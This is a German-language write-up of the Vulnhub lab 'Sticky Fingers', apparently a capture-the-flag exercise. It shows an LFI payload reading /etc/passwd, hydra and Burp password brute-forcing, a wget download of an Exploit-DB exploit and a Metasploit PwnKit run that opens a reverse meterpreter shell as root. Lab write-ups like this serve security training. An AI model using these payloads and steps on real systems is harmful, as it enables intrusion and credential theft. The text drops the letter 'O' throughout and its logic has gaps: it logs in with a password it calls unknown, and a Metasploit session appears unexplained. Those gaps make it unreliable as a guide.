Bizarre Adventure - Sticky Fingers - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
vi
hydra
Burpsuite
ssh
find
wget
msfconsole

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Identifizierung von Hosts im Netzwerk und der Analyse offener Ports und Dienste, um potenzielle Angriffsflächen zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.133 08:00:27:09:e6:4f PCS Systemtechnik GmbH

Hier führen wir einen ARP-Scan durch, um aktive Hosts im Netzwerk zu entdecken. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.133 der MAC-Adresse 08:00:27:09:e6:4f zugeordnet ist, was auf ein Gerät von PCS Systemtechnik GmbH hinweist.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.133 sticky.vln

Wir fügen die IP-Adresse und den Hostnamen "sticky.vln" zur /etc/hosts-Datei hinzu, um die Namensauflösung zu erleichtern.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.133
- Nikto v2.5.0

+ Target IP: 192.168.2.133
+ Target Hostname: 192.168.2.133
+ Target Port: 80
+ Start Time: 2023-11-26 00:54:12 (GMT1)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 318d, size: 5723a3c5dc080, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST .
+ /admin/: This might be interesting.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2023-11-26 00:54:21 (GMT1) (9 seconds)

+ 1 host(s) tested

nikto identifiziert verschiedene potenzielle Schwachstellen, darunter fehlende Header für Clickjacking und Content-Type-ptinen, Directory Indexing und die mögliche Offenlegung von Inodes über ETags.

Besonders interessant sind der gefundene Admin-Bereich unter /admin/, die Directory-Indexing-Schwachstelle unter /css/ und /images/ und der Hinweis, dass /admin/index.php von einem unbekannten Scanner gefunden wurde.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://sticky.vln" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://sticky.vln/index.html (Status: 200) [Size: 12685]
http://sticky.vln/images (Status: 301) [Size: 309] [--> http://sticky.vln/images/]
http://sticky.vln/admin (Status: 301) [Size: 308] [--> http://sticky.vln/admin/]
http://sticky.vln/css (Status: 301) [Size: 306] [--> http://sticky.vln/css/]
http://sticky.vln/js (Status: 301) [Size: 305] [--> http://sticky.vln/js/]
http://sticky.vln/vendor (Status: 301) [Size: 309] [--> http://sticky.vln/vendor/]
http://sticky.vln/fonts (Status: 301) [Size: 308] [--> http://sticky.vln/fonts/]

gobuster bestätigt die Existenz der Verzeichnisse /images, /admin, /css, /js, /vendor und /fonts.

Web Enumeration

In der Web Enumeration-Phase konzentrieren wir uns auf die Analyse der Webanwendung, um Schwachstellen zu finden.

Mesmo quando o usuário classifica suas informações como restritas nas redes sociais, o mundo pode ver.
Um amigo seu pode, sem querer, fornecer informações para um hacker do mau.
KEVIN MITNICK!


WARNING: Respond.js doesn't work if you view the page via file://

Auf der Webseite finden wir ein Zitat von Kevin Mitnick über die Risiken von sozialen Netzwerken. Außerdem wird eine Warnung bezüglich Respond.js angezeigt, was auf ein mögliches Problem mit der responsiven Darstellung der Seite hinweist.

http://sticky.vln/admin/index.php?file=file:///../../../../../../etc/passwd

Wir versuchen, die Datei /etc/passwd über den Parameter "file" in /admin/index.php auszulesen. Dies deutet auf eine Local File Inclusion (LFI)-Schwachstelle hin.

- Scanning URL: http://sticky.vln/
> DIRECTRY: http://sticky.vln/admin/
> DIRECTRY: http://sticky.vln/css/
> DIRECTRY: http://sticky.vln/fonts/
> DIRECTRY: http://sticky.vln/images/
+ http://sticky.vln/index.html (CDE:200|SIZE:12685)
> DIRECTRY: http://sticky.vln/js/
+ http://sticky.vln/server-status (CDE:403|SIZE:275)
> DIRECTRY: http://sticky.vln/vendor/

- Entering directory: http://sticky.vln/admin/ -
+ http://sticky.vln/admin/index.php (CDE:200|SIZE:2643)

Diese Ausgabe zeigt, welche Verzeichnisse und Dateien gefunden wurden, und bestätigt das Vorhandensein von /admin/index.php.

Initial Access

Nachdem wir einige Informationen gesammelt haben, versuchen wir, uns Zugriff auf das System zu verschaffen. Wir konzentrieren uns auf die LFI-Schwachstelle und den Admin-Bereich.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.133 -p- | grep open
22/tcp open ssh penSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
5355/tcp open llmnr?

Wir führen einen Nmap-Scan durch, um die offenen Ports und Dienste zu überprüfen. Die Ausgabe zeigt, dass SSH (22), DNS (53), HTTP (80) und LLMNR (5355) offen sind.

http://sticky.vln//images/

Index of /images
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[TXT] Flag.txt.txt 2020-09-15 15:08 224
[IMG] Sticky_fingers_anime.png 2020-09-13 18:24 284K
[IMG] about.jpg 2016-06-10 03:06 14K
[IMG] bucciarati.jpg 2020-09-13 18:24 104K
[IMG] hero.jpg 2016-06-10 03:06 40K
[DIR] icons/ 2020-09-13 15:57 -
[IMG] img-01.png 2017-12-16 21:27 8.4K
[IMG] scan me.png 2020-09-15 12:19 597
Apache/2.4.29 (Ubuntu) Server at sticky.vln Port 80

Das Verzeichnislisting von /images/ zeigt die Datei Flag.txt.txt und die Bilder "Sticky_fingers_anime.png", "bucciarati.jpg" und "scan me.png". "scan me.png" könnte interessant sein.

http://sticky.vln//images/Flag.txt.txt

EASY EASY EASY

Zipperman is cool!

Die Datei Flag.txt.txt enthält die Nachricht "EASY EASY EASY Zipperman is cool!". Dies könnte ein Hinweis auf den Benutzernamen sein.

Bucciarati

Der Text "Bucciarati" wird separat erwähnt, was darauf hindeuten könnte, dass dies ein relevanter Benutzername ist.

hydra -l zipperman -P /usr/share/wordlists/rockyou.txt 192.168.2.133 http-post-form "/admin/index.php:uname=Zipperman&pass=^PASS^:Login Failed" -t 64

Wir versuchen, das Passwort für den Benutzer "zipperman" über die Admin-Oberfläche zu knacken.

Burp intruder

1 password 200 false false 2884
2 Password@123 302 false false 2896
3 benni 200 false false 2884

Wir verwenden Burp Intruder, um verschiedene Passwörter auszuprobieren. Das Passwort "Password@123" führt zu einer 302-Weiterleitung, was auf eine erfolgreiche Anmeldung hindeuten könnte.

http://sticky.vln/admin/37d1d7d74bef0e8fafe6f8dc37ee25b0

Nach der Anmeldung werden wir zu einer Seite mit einem kryptischen Namen weitergeleitet.

aa                           .xm*f""??T?@hc.
                          z@"` '~((!!!!!!!?*m.
                        z$$$K   (/!!!!!!!!!Mh
                      .f` "#$k'`\!!!!!!!!!!!MMc
                     :"     f*! ~(!!!!!!!!!!XHMk
                     f      " %n(!!!!!!!!!!!HMMM.
                    d          X~!~(!!!!!!!X!X!SMMR
                    M :   x  :!>!!!!!!MNWXMMM@R
 n                  E ' *  ueeeeiu(!!XUWWWWWXMRHMMM>                :.
 E%                 E  8 .$$$$$$$$K!!$$$$$$$$&M$RMM>               :"5
z  %                3  $ 4$$$$$$$$!~!*$$$$$$$$!$MM$               :" `
K   ":              ?> # '#$$$$$#~!!!!TR$$$$$R?@MME              z   R
?     %.             5     ^"""~:XW!!!!T?T!XSMMM~            :^    J
 ".    ^s             ?.       d$X$NX!!!!!!M!MM             f     
  '+.    #L            *c:.    .~"?!??!!!!!XX@M@~           z"    .*
    '+     %L           #c`"!+~!/!!!!!!@*TM8M           z"    .~
      ":    '%.         'C*X  .!~!~!!!!!X!!!@RF         .#     +
        ":    ^%.        9-MX!X!!X~H!!M!N!X$MM        .#`    +"
          #:    "n       'L'!~M~)H!M!XX!$!XMXF      .+`   .z"
            #:    ":      R *H$@@$H$*@$@$@$%M~     z`    +"
              %:   `*L    'k' M!~M~X!!$!@H!tF    z"    z"
                *:   ^*L   "k ~!~!!!!!M!X*   z*   .+"
                  "s   ^*L  '%:.~:!!!!XH"  z#   .*"
                    #s   ^%L  ^"#4@UU@"  z#   .*"
                      #s   ^%L           z#   .r"
                        #s   ^%.       u#   .r"
                          #i   '%.   u#   .@"
                            #s   ^%u#   .@"
                              #s x#   .*"
                               x#`  .@%.
                             x#`  .d"  "%.
                           xf~  .r" #s   "%.
                     u   x*`  .r"     #s   "%.  x.
                     %Mu*`  x*"         #m.  "%zX"
                     :R(h x*              "h..*dN.
                   u@NM5e#>                 7?dMRMh.
                 z$@M@$#"#"                 *""*@MM$hL
               u@@MM8*                          "*$M@Mh.
             z$RRM8F"                             "N8@M$bL
            5`RM$#                                  'R88f)R
            'h.$"                                     #$x*
			jifwufw
			wfwfjwf"
    
print("hello world")

DBlNDEzMDQwNzFjYmY1DU2NTM2ZTM5MGYzYzc3ZjQ0NWE0GVjMDE3NzQwNzdiGM2DNlMzA5YzUzMTMyQ


.... N! ... ... MN! ...
..... MN!! ...................... MNN! ...
..... MMN! ......................... MNN!! .
..... MNNN! MMMMMMMMMMPPPII! MNN!!!! .
... !! NN! MMMMMMMMMMMMMPPPII!! N! ....
...... ! MMMMMMMMMMMMMPPPPIII! ! ...
........ MMMMMMMMMMMMPPPPPII!! .....
........ MMMMMPPPPPPPPMII! ...
....... MMMMM.. PPMMP .,MI! ....
...... MMMM o.,PMP,.o I!! ...
.... NNM:.,,PM!P,.!! ....
.. MMNNNNNPM!!IIPP!!! .....
... MMMMMNNNN:!!:!!IPPPP! ....
.. MMMMMNNMMNNIIIPPP!! ......
...... MMMNNMMNNNIII!..........
....... MN MMMMNNNIIIII! ..........
......... MN! IiiiiiiiiiiiI ...........
...... NNN.MN! . !!!!!!!!! . N N! ........
.... MNNNNN! ... . MMNNN!........
...... MNNNN! .. PPPPPPPPP .. MMNN!........
...... ! ................. N! .......
................................

_| | | |_
|_ \ / _|
\ \____/ /
\/_ _\/
\* */
|/\|
/__\
/\__/\
_/ / \ \_
|_ / \ _|
|_| |_| _| | | |_
|_ \ / _|
\ \____/ /
\/_ _\/
\* */
|/\|
/__\
/\__/\
_/ / \ \_
|_ / \ _|
|_| |_|

Die Seite zeigt ASCII-Art und scheinbar zufälligen Text. Dies könnte ein Hinweis auf eine versteckte Nachricht oder einen verschlüsselten Text sein.

80e41304071cbf5856536e390f3c77f445a48ec01774077b8c683e309c531329 sha256 1Password1*
80e41304071cbf5856536e390f3c77f445a48ec01774077b8c683e309c531329

Wir finden einen SHA256-Hash und den Hinweis "1Password1*". Dies deutet darauf hin, dass das Passwort möglicherweise mit "1Password" beginnt und mit "1" endet.

Privilege Escalation

Nachdem wir uns als Benutzer "zipperman" angemeldet haben (Annahme: das Passwort "Password@123" hat funktioniert), versuchen wir, unsere Privilegien zu erhöhen.

┌──(root㉿cyber)-[/usr/share/wordlists]
└─# ssh bucciarati@sticky.vln
bucciarati@sticky.vln's password:
Welcome to Ubuntu 17.04 (GNU/Linux 4.10.0-19-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

* Kubernetes 1.19 is out! Get it in one command with:

sudo snap install microk8s --channel=1.19 --classic

https://microk8s.io/ has docs and details.

298 packages can be updated.
0 updates are security updates.


Last login: Tue Sep 15 19:40:18 2020 from 10.0.0.7
bucciarati@stickyfingers$

Wir verbinden uns über SSH mit dem Benutzer "bucciarati". Das Passwort ist noch unbekannt.

Privilege Escalation
bucciarati@stickyfingers$ find / -perm -4000 -ls 2>/dev/null
269156 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
262236 40 -rwsr-xr-x 1 root root 40128 Sep 20 2016 /bin/su
262218 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
262255 32 -rwsr-xr-x 1 root root 30792 Nov 16 2016 /bin/umount
268680 144 -rwsr-xr-x 1 root root 146128 Feb 1 2017 /bin/ntfs-3g
262205 40 -rwsr-xr-x 1 root root 38984 Nov 16 2016 /bin/mount
539056 24 -rwsr-xr-x 1 root root 22520 ct 21 2016 /usr/bin/pkexec
524334 72 -rwsr-xr-x 1 root root 71824 Sep 20 2016 /usr/bin/chfn
538554 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
524499 56 -rwsr-xr-x 1 root root 54256 Sep 20 2016 /usr/bin/passwd
524488 40 -rwsr-xr-x 1 root root 39904 Sep 20 2016 /usr/bin/newgrp
538781 52 -rwsr-sr-x 1 daemon daemon 51464 Dec 22 2016 /usr/bin/at
539019 36 -rwsr-xr-x 1 root root 32944 Sep 20 2016 /usr/bin/newuidmap
524406 76 -rwsr-xr-x 1 root root 75304 Sep 20 2016 /usr/bin/gpasswd
539018 36 -rwsr-xr-x 1 root root 32944 Sep 20 2016 /usr/bin/newgidmap
524336 40 -rwsr-xr-x 1 root root 40432 Sep 20 2016 /usr/bin/chsh
538961 40 -rwsr-xr-x 1 root root 38984 Mar 7 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
524706 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
538612 432 -rwsr-xr-x 1 root root 440728 Mar 30 2017 /usr/lib/openssh/ssh-keysign
795046 76 -rwsr-xr-x 1 root root 76168 Apr 6 2017 /usr/lib/snapd/snap-confine
539059 16 -rwsr-xr-x 1 root root 14328 ct 21 2016 /usr/lib/policykit-1/polkit-agent-helper-1
524696 44 -rwsr-xr-- 1 root messagebus 42992 ct 11 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Wir suchen nach SUID-Binaries als Benutzer "bucciarati".

bucciarati@stickyfingers$ uname -r
4.10.0-19-generic

Wir überprüfen die Kernel-Version.

bucciarati@stickyfingers$ cd /tmp/
bucciarati@stickyfingers:/tmp$ wget https://www.exploit-db.com/raw/45010 -o get-exp.c

Wir laden ein Exploit von Exploit-DB herunter.

bucciarati@stickyfingers:/tmp$ ll
total 60
-rw-rw-r-- 1 bucciarati bucciarati 458 Nov 25 22:29 get-exp.c

Wir überprüfen, ob der Download erfolgreich war.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034

Matching Modules


# Name Disclosure Date Rank Check Description
- - - -- --
0 auxiliary/scanner/http/dolibarr_16_contact_dump 2023-03-14 normal Yes Dolibarr 16 pre-auth contact database dump
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec
2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference

Wir suchen in Metasploit nach einem Exploit für CVE-2021-4034 (PwnKit).

msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 5
session => 5
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4438
lport => 4438
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.199:4438
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.trrgxd
[+] The target is vulnerable.
[*] Writing '/tmp/.qzslnvk/wtrbzmqnfj/wtrbzmqnfj.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.qzslnvk
[*] Sending stage (3045380 bytes) to 192.168.2.133
[+] Deleted /tmp/.qzslnvk/wtrbzmqnfj/wtrbzmqnfj.so
[+] Deleted /tmp/.qzslnvk/.nmdjlyqhno
[+] Deleted /tmp/.qzslnvk
[*] Meterpreter session 6 opened (192.168.2.199:4438 -> 192.168.2.133:60368) at 2023-11-26 01:33:42 +0100

Wir konfigurieren und starten den PwnKit-Exploit in Metasploit. Der Exploit ist erfolgreich, und wir erhalten eine Meterpreter-Session.

meterpreter > shell
Process 1889 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev),1000(bucciarati)

Wir öffnen eine Shell in der Meterpreter-Session und führen den Befehl "id" aus. Die Ausgabe zeigt, dass wir Root-Rechte haben!

Proof of Concept: Root-Zugriff über PwnKit

Dieser Proof of Concept demonstriert, wie wir mit Hilfe von Metasploit und dem PwnKit-Exploit Root-Zugriff auf das System erlangen.

Da der Bericht keine direkten Befehle zur Erlangung der Flags enthält, wird der POC hier beendet.

Flags

user.txt
Almost!Did you notice something hidden?
root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A